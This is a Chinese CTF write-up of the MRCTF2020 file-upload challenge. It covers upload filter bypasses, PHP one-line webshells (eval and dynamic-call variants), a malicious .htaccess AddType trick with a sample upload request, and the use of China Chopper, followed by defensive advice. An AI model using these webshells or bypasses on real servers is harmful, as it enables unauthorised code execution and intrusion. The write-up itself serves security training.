CTF文件上传漏洞实战:绕过过滤与.htaccess攻击

CTF文件上传漏洞实战:绕过过滤与.htaccess攻击

1. 题目背景与技术解析

这道来自MRCTF2020的CTF题目"你传你[特殊字符]呢"是一个典型的文件上传漏洞挑战。题目名称中的[特殊字符]实际上是指代某些需要绕过的过滤机制,这种命名方式在CTF比赛中很常见,旨在暗示解题者需要关注上传功能中的特殊字符处理。

从相关关键词来看,本题涉及以下几个核心技术点:

  • 文件上传漏洞利用
  • 一句话木马(Webshell)构造
  • .htaccess文件攻击
  • 特殊字符过滤绕过

2. 环境准备与初步测试

2.1 基础工具准备

在开始解题前,我们需要准备以下工具:

  • Burp Suite:用于拦截和修改HTTP请求
  • 中国菜刀/Cknife:Webshell管理工具
  • 文本编辑器:用于构造特殊文件
  • 浏览器开发者工具

2.2 初步测试流程

  1. 访问题目提供的URL,通常会看到一个文件上传界面
  2. 尝试上传普通图片文件(如jpg/png)测试基本功能
  3. 尝试上传php文件,观察系统反应
  4. 通过Burp Suite拦截请求,分析请求参数和响应

3. 上传漏洞利用详解

3.1 常见上传限制绕过技巧

根据题目名称中的提示,我们需要重点关注特殊字符的过滤机制。常见的绕过方式包括:

  1. 文件名大小写混淆:如pHp、PhP等
  2. 特殊后缀:php3、php5、phtml等
  3. 双写后缀:pphphp
  4. 空格/点号截断:shell.php.、shell.php%00.jpg
  5. .htaccess文件攻击

3.2 一句话木马构造

典型的一句话木马示例:

<?php @eval($_POST['pass']);?>

或更隐蔽的写法:

<?php $_GET['a']($_GET['b']);?>

4. .htaccess文件攻击实战

4.1 .htaccess文件原理

.htaccess是Apache服务器的配置文件,可以覆盖主配置文件的设置。通过上传恶意.htaccess文件,我们可以:

  1. 将特定文件类型解析为PHP
  2. 添加自定义处理程序
  3. 修改服务器行为

4.2 实战步骤

  1. 创建.htaccess文件内容:
AddType application/x-httpd-php .abc
  1. 上传.htaccess文件
  2. 上传包含一句话木马的shell.abc文件
  3. 测试文件是否被解析执行

5. 特殊字符过滤绕过技巧

5.1 常见过滤机制

题目可能实现的过滤包括:

  1. 黑名单过滤特定关键词(如eval、system等)
  2. 特殊字符过滤(如$、_、()等)
  3. 文件内容检测

5.2 高级绕过方法

  1. 使用编码转换:
<?php $_GET['a'](base64_decode($_GET['b']));?>
  1. 动态函数调用:
<?php $a=$_GET['a'];$b=$_GET['b'];$a($b);?>
  1. 使用异或运算构造字符串

6. 完整解题流程实录

6.1 实际解题步骤

  1. 通过Burp拦截上传请求,发现系统过滤了.php后缀
  2. 尝试上传.htaccess文件成功
  3. 设置.abc后缀解析为PHP
  4. 上传包含一句话木马的shell.abc文件
  5. 使用中国菜刀连接获取flag

6.2 关键请求示例

POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: text/plain AddType application/x-httpd-php .abc

7. 防御措施与安全建议

7.1 安全上传实现要点

  1. 白名单验证文件扩展名
  2. 检查文件内容头信息
  3. 随机重命名上传文件
  4. 设置适当的权限
  5. 存储在非web可访问目录

7.2 服务器配置建议

  1. 禁用危险的PHP函数
  2. 限制.htaccess文件的使用
  3. 定期更新服务器软件
  4. 实施WAF防护

8. 常见问题与解决方案

8.1 上传成功但无法解析

可能原因:

  1. .htaccess未生效 - 检查Apache配置是否允许.htaccess覆盖
  2. 文件权限问题 - 确保文件有可读权限
  3. 路径错误 - 确认访问的是上传后的路径

8.2 连接Webshell失败

排查步骤:

  1. 检查一句话木马是否正确
  2. 测试直接访问查看源码
  3. 尝试不同的连接工具
  4. 检查防火墙设置

9. 扩展知识与相关挑战

9.1 其他常见CTF上传题变种

  1. 前端JS验证绕过
  2. 内容类型(Content-Type)欺骗
  3. 文件头检测绕过
  4. 二次渲染绕过(针对图片上传)

9.2 推荐练习平台

  1. BUUCTF其他上传类题目
  2. DVWA文件上传挑战
  3. Upload Labs靶场
  4. Hack The Box相关机器

在实际操作中,我发现这类题目最关键的突破点往往是找到系统过滤机制的薄弱环节。通过系统性地尝试各种绕过方法,配合Burp Suite的拦截修改功能,通常能够找到可行的攻击路径。建议新手从简单的上传漏洞开始练习,逐步掌握各种高级绕过技巧。